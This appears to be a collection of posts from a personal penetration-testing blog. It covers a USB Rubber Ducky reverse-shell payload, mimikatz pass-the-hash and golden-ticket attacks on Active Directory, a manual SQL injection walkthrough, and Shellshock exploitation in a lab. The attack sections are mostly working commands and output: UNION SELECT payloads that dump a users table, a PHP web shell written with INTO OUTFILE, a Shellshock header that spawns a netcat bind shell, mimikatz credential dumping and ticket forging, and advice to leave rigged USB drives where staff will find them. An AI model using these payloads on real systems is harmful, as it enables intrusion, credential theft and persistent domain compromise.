USB Rubber Ducky

Introduction

The USB Rubber Ducky is a product by Hak5. It is HID(Human Interface Device) a.k.a a keyboard, disguised as a USB thumb drive. Inside this device is a micro SD memory card containing a programmable executable for predefined keystroke commands, it works against different Operating Systems.

Product Details

This product can be purchased at hak5 website for around 45 Dollars (US). There are several components inside the package.

Figure A:Packaging containing the product

Figure B: (From Left to Right) USB housing, HID, Cradle, OTG connector

Figure C: The USB housing is used to disguise the HID to look like a regular USB thumb drive.

Practical Usage

The Rubber Ducky is designed to run a series of preset keystroke commands as directed via a keyboard when plugged into a PC's USB port. For example, it can be programmed to invoke a shutdown sequence, deactivate AntiVirus software or Windows Defender, brute force pin-codes on Android mobile devices. It can also be used to exfiltrate user credentials via SMB, steal documents, download scripts, wipe out drives or anything you can conjure from an attached keyboard. All of this is done using a simple scripting language affectionately called the Ducky script. For practical usage, pentesters can utilize it as part of a social engineering scheme into tricking unsuspecting users in an organization. For example, simply drop a few Rubber Ducks on the office floor and wait for someone to pick it up and insert it into his PC. The rubber ducky was also featured in the award winning TV series, Mr Robot. Where the hacker dropped several devices outside a police station, the next scene showed a police officer plugging it into the station's PC. You guess what happened next...

Programming the HID

Before finding practical usages for it, you will first need to write its payload. Firstly, place the Micro SD memory chip into the cradle as pictured below. 

By placing it in the cradle, the HID is now detected as a regular USB drive, thus making it safe for you to plug it into your PC's USB port.

Figure D: Snapshot of a ducky code. This payload is designed to connect to a netcat listener on a VPS, simply a reverse shell invoked when this USB drive is plugged into the victim's PC. 

Luckily, Hak5 has loads of prewritten ducky code, you may download it or write your own custom code. There are loads of material on the web for those of you interested in developing custom payloads.

Next, the ducky code will need to be compiled using the duckencoder into an 'inject.bin' format that is placed inside the memory card.

$ ./duckencoder.jar -i payloads/reverseshell.txt -o /media/usb/inject.bin
Hak5 Duck Encoder 2.6.3

Loading File ..... [ OK ]
Loading Keyboard File ..... [ OK ]
Loading Language File ..... [ OK ]
Loading DuckyScript ..... [ OK ]
DuckyScript Complete ..... [ OK ]

Figure E: illustrates the compilation of the revershell duckcode into binary format.

After compilation, the memory card can be transferred back to the HID device and disguised as a USB thumb drive. See figure below:

  

Figure F: Illustrates the memory card placed inside the HID device before the housing is completely assembled.

Once that is done, insert the disguised 'USB thumb drive' into the victim's PC and watch it in action:

Figure G: This video demonstrates automatic keystroke injection on a Virtual Guest Host when a USB Rubber Ducky is plugged-in. The window on the right displays a netcat listener on a VPS, waiting to receive its payload which happens to be a Windows cmd.exe reverse shell. 

The USB Rubber Ducky also works on Android Mobile devices, the supplied OTG connector allows it to be plugged into a micro USB port commonly available on Android phones. The Ducky code will need to be adjusted to suit Android keystrokes. It is commonly used to brute force pin-codes to unlock phones.

Caveats

For starters, most canned payloads can be easily detected by commercial AVs. You might want to write your own payload if you are serious about bypassing Windows Defender or commercial AV products. Secondly, the Ducky executes keystrokes only when a user is logged-on his PC. Just as any connected Keyboard, you will first need to be authenticated and able to type commands into the OS. Furthermore, Ducky runs with the same privilege as the logged-on user. Thirdly, on Windows OS, some keystroke commands might require UAC bypass like the 'run as' command.

Conclusion

In a nutshell, the USB Rubber Ducky is a smart programmable automated keystroke injector. Allowing pentesters to exfiltrate data or test an endpoint security policy. Conversely, it can be used for malicious purposes. It exploits the fundamental flaw in the USB design; upon connection into a PC, the USB device is allowed to declare itself as anything (mobile phone, mouse, pendrive, etc), there is no sanity check performed, after all, this device is seen as a harmless keyboard. The moral of the story, never insert an unknown USB device into your PC! You'll never know what you might unravel ;-) 

Windows Credential Attack - Part 3

In part 1 and 2, I wrote about passing the hash(PHH) and passing the ticket(PTT). This time, I will demonstrate how an attacker can still reuse a golden ticket even if you setup a 2nd DC (Domain Controller). It is common for admins to have more than 1 DC as a backup, in an event the primary is compromised, the BDC(Backup DC) is promoted to PDC. The assumption that this will remove the golden ticket. Unfortunately, that assumption is not right since the BDC will auto sync the AD objects and KDC from the PDC. In affect, BDC will inherit the KRBTGT from the Primary, thus, the golden ticket is transferred over. The video demo below illustrates how this happens seamlessly when a BDC is promoted as a PDC. We execute mimikatz on BDC and dump the LM hashes and reuse the KRBTGT ticket to gain psexec rights on another client PC that is authenticated to the same domain controller.

SQL Injection Walkthru (SQLi)

Most SQLi attacks are done using some form of 'hacker' tool. The common ones are sqlmap, sqlninja, bbqsql, etc. While using such tools are important, one must not forget the fundamentals of SQLi. In this post, I will demo the steps of identifying, enumerating and executing code on victim server 192.168.52.141. The victim server is running typical MySQL with php.

Identifying SQLi

Often, we start by inserting a ' in any user input fields we can find, if we are lucky, the server will display some errors, this means we have broken the SQL statement used to display the results.

The above diagram displays an SQL error indicating 2 single quotes, despite we added only 1. This usually means there is already a single quote used for the statement, a peak at the backend code looks like:

On line no 16, the var id and title already has single quotes, that means, if you added another single quote, it would mean the statement would be broken. This is unusual as most SQLi attacks start with a single quote followed by the payload. So always pay attention to the error msg. If you want to know if ' is required or not, first try to execute a logical syntax such as id=2-1, if you don't see an error and the return display is id=1, you know that SQLi is possible without the single quote mark ;-)

Lets proceed with enumeration of the SQL table.

Enumerate SQLi

This is where we must first find out how many columns the table has, we can do this by using the UNION SELECT statement. We need to match the number of columns with the query used. If you used sqlmap, this is what it automates for you :-)

So, by inserting the following statements:

http://192.168.52.141/cat.php?id=2 union select 1
will return an error...

http://192.168.52.141/cat.php?id=2 union select 1,2
will return an error...

http://192.168.52.141/cat.php?id=2 union select 1,2,3
will return an error...

http://192.168.52.141/cat.php?id=2 union select 1,2,3,4
no error returned....see diagram below:

Code Exec

Now we can start rocking! Let's see what version, database and user MySQL is running. We can call MySQL built in functions such as @@version, database(), current_user().

 

Looks like it's running Debian Squeeze, now let's see the database name the contents are stored in:

Great! The db name is photoblog. Now, how aboout the userid mysqld is running:

From here, we already got code execution. Next step would be to exfiltrate the contents of the database 'photoblog'. There are some default tables in MySQL such as information_schema.table and information_schema.columns that contains very useful information:

http://192.168.52.141/cat.php?id=2 union select 1,table_name,3,4 from information_schema.tables
will return a complete set of tables in photoblog db:

The table 'users' is of particular interest to us :-) Let's see what we can find inside it by displaying the corresponding tablename:column name in each row using this statement:

http://192.168.52.141/cat.php?id=2 union select 1,concat(table_name,':',column_name),3,4 from information_schema.columns

Output:

Scrolling down the displayed output, the most obvious goodies are inside the 'users' table column 'login' and 'password'. Let's exfiltrate it using this statement:

http://192.168.52.141/cat.php?id=2 union select 1,concat(login,':',password),3,4 from users


Output:

Now we have exfiltrate the user 'admin with password '8efe310f9ab3efeae8d410a8e0166eb2'. Stick it inside your favourite password cracker and you for the admin password!

There you go folks...tools such as sqlmap can also spawn a shell, what it does is it writes a php file to the www root with simple php system call such as:

http://192.168.52.141/cat.php?id=2 union select 1,"<? system($_GET["cmd"]); ?>",3,4 INTO OUTFILE '/var/www/cmd.php'

Provided the userid 'pentesterlab@localhost' had privilege to write to /var/www/ you should be able to call the url directly to pass arguments. You can also try load_file('/etc/passwd'). If you are lucky, you should be able to see its contents.

That's pretty much how SQLi is done by hand. Remember, don't be a script kiddie, always understand how your code works!

Kudos, to www.pentesterlab.com for the educational content.

Exploiting Shellshock - Pentesterlab.com

I like to keep my skills sharp, often, I find myself downloading VM from vulnhub.com but often I spend more time fixing or trying to get the VM running rather than actually practicing pentesting. Then, I found this site; www.pentesterlab.com. The material is very well organized with videos and explanation on solving each puzzle/challenge. I especially like the fact I can download the iso into my vmware and get it running without problems.

I'm working my way in the Essential lab at the moment, here is a sample exercise I got permission by Louis Nyffenegger to repost.

CVE-2014-6271/Shellshock

This is not a new vulnerability, it was reported some years back and it hit practically any Linux or Unix Operating System that was running bash. It is a simple vulnerability to exploit, you just need a web browser and an app proxy such as burp.

Here I am just going to give a summary of how to exploit a linux webserver running cgi app. Note, that shellshock exploit vector is not limited to web alone, it can be done via ssh, telnet, some cases ftp. For this example, we will inject the vuln code via the user-agent header. You will need to intercept the request and send it to a repeater:

As you can see, on the right pane indicates some json formatted output of a linux server uptime. Also, the uri is pointing to a 'status' script. This is a good indicator for shellshock exploitation. Let's try to injecting a simple code into the user-agent header:

() { :;}; /sbin/ifconfig

I tried other commands such as whoami, id but it nothing appeared, that is why it is important to test different commands and see which ones work. With positive visual from the ifconfig cmd, I will now try to use netcat to listen at port 1234 on the victim machine :) Always remember to test the command with simpler flags to check it's working. Thankfully, this was a Linux box and usually nc supports the '-e' flag, most bsd variants don't. The complete command I used is:

() { :;}; /usr/bin/nc -lvp 1234 -e /bin/bash

The fact that the righ pane didn't return any results is a good sign, it means that the victim machine is executing netcat. Time to connect to it:

There you go! For more great web pentesting exercises like this. Please visit my friend; Louis Nyffenegger awesome website @ www.pentesterlab.com

GitHub Gist

I have some scripts at github gist if anyone is interested. You may visit it here.

Windows Credential Attack - Part 2

In my last post, I wrote about passing the hash using standard mimikatz tool. For this installment, I will demonstrate how to pass the ticket (ptt) using the same tool. PTT is a technique of backdooring a Windows Domain Controller(DC) permanently. Several advantages of PTT has over passing the hash (pth) is that it is very difficult to remove PTT backdoor because it is tied to the KRBTGT account that is built into Active Directory (AD). It was designed to manage the Kerberos Distribution Center; an essential component of Microsoft's entire single sign-on ecosystem. Resetting it will not remove it, neither will reinstalling/promoting a new DC using the same domain objects. Hence, why the name, 'golden ticket' was given. It also comes with default 'Domain Admin' privileges and 10 years validity period!!! You virtually have full control of  the domain/forest, allowing you to manipulate any objects managed by the DC. Also, the userid created using this technique is not listed in the standard AD listing! You practically have God-like control over the entire enterprise domain!

In a nutshell, what I did was identify and dump the hash that identifies KRBTGT. Created a malicious ticket called 'hacker4' associating it with the corresponding sid/domain. After which, I saved it and transfered it to 'client-pc' using netcat and loaded in back into memory. I did a short video to demonstrate a simple technique using a windows client pc (client-pc) and a Windows 2008 Domain Controller (server-dc). The tough job is obtaining SYSTEM privilege on server-dc to run mimikatz which is out of scope of this post.

Summary of commands:

Steps On server-dc

privilege::debug
lsadump::lsa /inject /name:krbtgt
kerberos::golden /admin:hackerboy /domain:bubblegum.com /sid:S-1-5-21-4052271652-3634189325-3875401421 /krbtgt:409adfdd28b38f3decff6609fe0a19a1 
nc 10.0.0.234 1234 < ticket.kirbi

Steps On the client-pc

nc -nlpv 1234 > ticket.kirbi
kerberos::ptt ticket.kirbi
psexec64 \\server-dc cmd.exe
whoami /groups

P.O.C Recording



* Caveat: I recommend to create golden ticket with the same name as the admin on the DC. Psexec64.exe can't seem to pass the ticket when the user you created on the DC doesn't match the ticket after reboot.

kerberos::golden /admin:administrator /domain:bubblegum.com /sid:xxxxx /krbtgt:xxxx

Windows Credential Attack

I've been reading about lateral movement lately, how attackers take advantage of the Microsoft's Active Directory technology to create 'backdoors' upon successfully infiltrating the network. Much has been said and written about it and we all have heard about the dreaded APTs (Advance Persistent Threat). These guys are supposed to be state sponsored and amongst the best in the world.

In my opinion, it's alot of hype. Anyone, can be an APT. You don't need to be state sponsored to launch an attack or infiltrate corporate systems. All you need is a good Internet connection and the willingness to learn and explore. I always said, even a 16 year old can be a hacker. The thing that differentiates a state sponsored attacker and a kid are his motivations. State sponsored hackers are also assumed to have deeper pockets, so having 0-day exploits in your arsenal is a definite advantage. Anyway, I'll leave this argument for another post. For this entry, I will talk about Windows credential attack.

The scenario will be post exploitation. Meaning, after the attacker has gained administrative privilege of a host in your organization. Next move will be to gain further access into the network. In a typical Windows environment, most PCs will be authenticated via AD (Active Directory) in a Domain Controller(DC), the Kerberos auth protocol is used to assign a validation ticket to the authenticated host. With this ticket, the host will be able to access other authenticated hosts in the same domain. The hashes and tickets can be reused by calling it directly from the host memory, disk or in some cases, the DC directly. There have been various articles about abusing Windows credentials namely Kerberos, my post will focus on passing the hash. Maybe in my next article we can also talk about abusing Kerberos and creating golden tickets.

The NTLM hashes are encryted in memory. A common technique used is to pass the hash(pth) over to the other hos but mimikatz does a great job at using a built in MS API to decrypt these hashes. 

Lets say super duper hacker has gain admin rights on Betty's PC and her PC happen to be part of the bubblegum domain. She happens to be the domain admin for co bubblegum.com. How convenient ;) For simplicity, we assume that Betty's PC was already breached and the attacker has local admin privilege. We'll upload mimikatz. There are also various tools that can call mimikatz functions so you don't necessary have to use mimikatz because some AVs flag mimikatz. So, if you are using metasploit, the metepreter session can invoke mimikatz functions, if you are also keen on powershells, there's even powerSploit scripts to invoke mimikatz functions.

For this example I am keeping it simple.We are just going to dump the encrypted hashes and pth it to the DC using psexec.

Dumping Hashes

1. Running mimikatz, check your privilege, you must have admin privilege on the host:

2. Dump the hashes in mem by running 'sekurlsa::logonpasswords. You should see all passwd hashes in mem, even decrypted ones!

Authentication Id : 0 ; 1192637 (00000000:001232bd)
Session           : Interactive from 3
User Name         : Administrator
Domain            : WIN
Logon Server      : WIN
Logon Time        : 11/25/2017 2:54:07 PM
SID               : S-1-5-21-185860677-232557259-2993331253-500
        msv :
         [00010000] CredentialKeys
         * NTLM     : 9213b0c8fd855c4ec0267f303a376f31
         * SHA1     : 749b4dae3da83473b0491e9fab0bf151c932374a
         [00000003] Primary
         * Username : Administrator
         * Domain   : WIN
         * NTLM     : 9213b0c8fd855c4ec0267f303a376f31
         * SHA1     : 749b4dae3da83473b0491e9fab0bf151c932374a
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : WIN
         * Password : !qwerty123
        kerberos :
         * Username : Administrator
         * Domain   : WIN
         * Password : (null)
        ssp :
        credman :


Authentication Id : 0 ; 1505847 (00000000:0016fa37)
Session           : Interactive from 1
User Name         : betty
Domain            : BUBBLEGUM
Logon Server      : WINDC01
Logon Time        : 11/25/2017 3:14:56 PM
SID               : S-1-5-21-185860677-232557259-2993331253-1000
        msv :
         [00000003] Primary
         * Username : betty
         * Domain   : BUBBLEGUM
         * NTLM     : 9213b0c8fd855c4ec0267f303a376f31
         * SHA1     : 749b4dae3da83473b0491e9fab0bf151c932374a
         [00010000] CredentialKeys
         * NTLM     : 9213b0c8fd855c4ec0267f303a376f31
         * SHA1     : 749b4dae3da83473b0491e9fab0bf151c932374a
        tspkg :
        wdigest :
         * Username : betty
         * Domain   : BUBBLEGUM
         * Password : !kldsljds
        kerberos :
         * Username : betty
         * Domain   : BUBBLEGUM.COM
         * Password : (null)
        ssp :
        credman :

<snip-------snip>

The above output shows 2  credentials, administrator and betty. Notice that the administrator domain is WIN and betty belongs to bubblegum.com. Our target is the bugglegum.com domain, and we happen to obtain the passwd in plain text!

Passing the Hash

3.  We would now like to pass the hash using betty's credentials using pth function built into mimikatz, if you see another cmd.exe prompt pop up, it means the credentials worked!

4. Now, let's try to pass this hash to the DC server from Betty's PC. I simply pass the hash dump from her PC to the DC. Remember, you'll need psexec.exe on Betty's PC. This can be downloaded from MS website, here. The command I issue on Betty's machine using mimikatz is:

sekurlsa::pth /user:betty /domain:bubblegum /ntlm:9213b0c8fd855c4ec0267f303a376f31 /run:".\psexec64.exe \\10.0.0.1 -h cmd.exe"

If the cmd.exe successfully executes, you should see a second prompt! Sometimes, this takes a while for psexec to spawn  cmd.exe so be patient.

Notice that psexec64.exe has executed cmd.exe and hostname and whoami cmds show that you are now on the DC as Betty. In my next article, I will cover how to dump the DC credentials and creating the golden ticket ;-)

Stay tuned folks!